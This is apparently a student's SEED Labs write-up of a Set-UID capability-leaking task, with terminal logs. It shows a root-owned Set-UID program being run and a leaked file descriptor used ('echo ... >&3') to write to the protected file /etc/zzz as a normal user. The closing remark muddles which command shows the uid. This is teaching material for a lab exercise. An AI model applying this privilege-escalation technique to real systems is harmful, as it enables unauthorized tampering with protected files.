Compile the following program, change its owner to root, and make it a `Set-UID` program. Run the program as a normal user. Can you exploit the capability leaking vulnerability in this program? The goal is to write to the `/etc/zzz` file as a normal user.

```
[08/26/23]seed@VM:~/.../Labsetup$ ls
a.out  cap_leak.c  catall.c  child  childout.txt  myenv  myenv1  myenv.c  myprintenv.c  mysys  mysys.c  out1  out2  parent  parentout.txt
[08/26/23]seed@VM:~/.../Labsetup$ sudo cat > /etc/zzz
bash: /etc/zzz: Permission denied
[08/26/23]seed@VM:~/.../Labsetup$ sudo gedit  /etc/zzz

(gedit:8861): Tepl-WARNING **: 13:23:36.017: GVfs metadata is not supported. Fallback to TeplMetadataManager. Either GVfs is not correctly installed or GVfs metadata are not supported on this platform. In the latter case, you should configure Tepl with --disable
-gvfs-metadata.



[08/26/23]seed@VM:~/.../Labsetup$
```

```
[08/26/23]seed@VM:~/.../Labsetup$ ls -l /etc/zzz
-rw-r--r-- 1 root root 26 Aug 26 13:24 /etc/zzz
[08/26/23]seed@VM:~/.../Labsetup$ sudo gedit  /etc/zzz

(gedit:8944): Tepl-WARNING **: 13:25:36.231: GVfs metadata is not supported. Fallback to TeplMetadataManager. Either GVfs is not correctly installed or GVfs metadata are not supported on this platform. In the latter case, you should configure Tepl with --disable
-gvfs-metadata.
[08/26/23]seed@VM:~/.../Labsetup$ ls -l /etc/zzz
-rw-r--r-- 1 root root 65 Aug 26 13:26 /etc/zzz
[08/26/23]seed@VM:~/.../Labsetup$ cat /etc/zzz
This is a privileged file consists of Task 9: Capability Leaking
[08/26/23]seed@VM:~/.../Labsetup$ sudo chmod 0644 /etc/zzz
[08/26/23]seed@VM:~/.../Labsetup$ ls -l /etc/zzz
-rw-r--r-- 1 root root 65 Aug 26 13:26 /etc/zzz
[08/26/23]seed@VM:~/.../Labsetup$ ls
a.out  cap_leak.c  catall.c  child  childout.txt  myenv  myenv1  myenv.c  myprintenv.c  mysys  mysys.c  out1  out2  parent  parentout.txt
[08/26/23]seed@VM:~/.../Labsetup$ gcc cap_leak.c -o cap_leak
[08/26/23]seed@VM:~/.../Labsetup$ ls
a.out     cap_leak.c  child         myenv   myenv.c       mysys    out1  parent
cap_leak  catall.c    childout.txt  myenv1  myprintenv.c  mysys.c  out2  parentout.txt
[08/26/23]seed@VM:~/.../Labsetup$ sudo chown root:root cap_leak
[08/26/23]seed@VM:~/.../Labsetup$ sudo chmod 0755 cap_leak
[08/26/23]seed@VM:~/.../Labsetup$ ls - l cap_leak
ls: cannot access '-': No such file or directory
ls: cannot access 'l': No such file or directory
cap_leak
[08/26/23]seed@VM:~/.../Labsetup$ ls -l cap_leak
-rwxr-xr-x 1 root root 17008 Aug 26 13:29 cap_leak
[08/26/23]seed@VM:~/.../Labsetup$ sudo chmod +s cap_leak
[08/26/23]seed@VM:~/.../Labsetup$ ls -l cap_leak
-rwsr-sr-x 1 root root 17008 Aug 26 13:29 cap_leak
[08/26/23]seed@VM:~/.../Labsetup$ ./cap_leak
fd is 3
sh-5.0$ cat /etc/zzz
This is a privileged file consists of Task 9: Capability Leaking
sh-5.0$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
sh-5.0$ echo "some data" >&3
sh-5.0$ cat /etc/zzz
This is a privileged file consists of Task 9: Capability Leaking
some data
sh-5.0$
```

Yes we can exploit the capability leaking vulnerability in the above program. After executing the cat /etc/zzz we can see the details like uid,gid etc.